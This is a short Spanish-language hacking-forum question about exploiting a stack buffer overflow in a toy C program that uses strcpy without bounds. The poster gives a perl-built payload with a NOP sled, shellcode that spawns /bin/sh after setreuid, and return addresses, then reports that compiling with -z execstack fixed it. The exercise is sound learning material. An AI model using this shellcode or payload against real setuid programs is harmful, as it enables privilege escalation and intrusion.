Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: GoKGz en 11 Diciembre 2016, 00:06 am



Título: [Duda] Explotando BoF - No conseguimos ejecutar la shellcode
Publicado por: GoKGz en 11 Diciembre 2016, 00:06 am
Código vulnerable:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main (int argc, char **argv){
  5.  
  6. char buffer[500];
  7. strcpy(buffer, argv[1]);
  8.  
  9. puts (buffer);
  10.  
  11. return 0;
  12. }


Probamos con esta y la dirección del rip queda apuntando a la mitad del tamaño del buffer (dicen que se hace así):
Lo corrimos con gdb con esta entrada
Código:
r `perl -e 'print "\x90"x439 . "\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\x64\xcd"x10'`

Primero lo llenamos de NOP's luego la shellcode más la dirección de retorno, cabe aclarar estamos en un sistema de 32 bits.

Pero no logramos ejecutar la shellcode, ¿qué estamos haciendo mal?


SOLUCIONADO: Tenía que compilar con -z execstack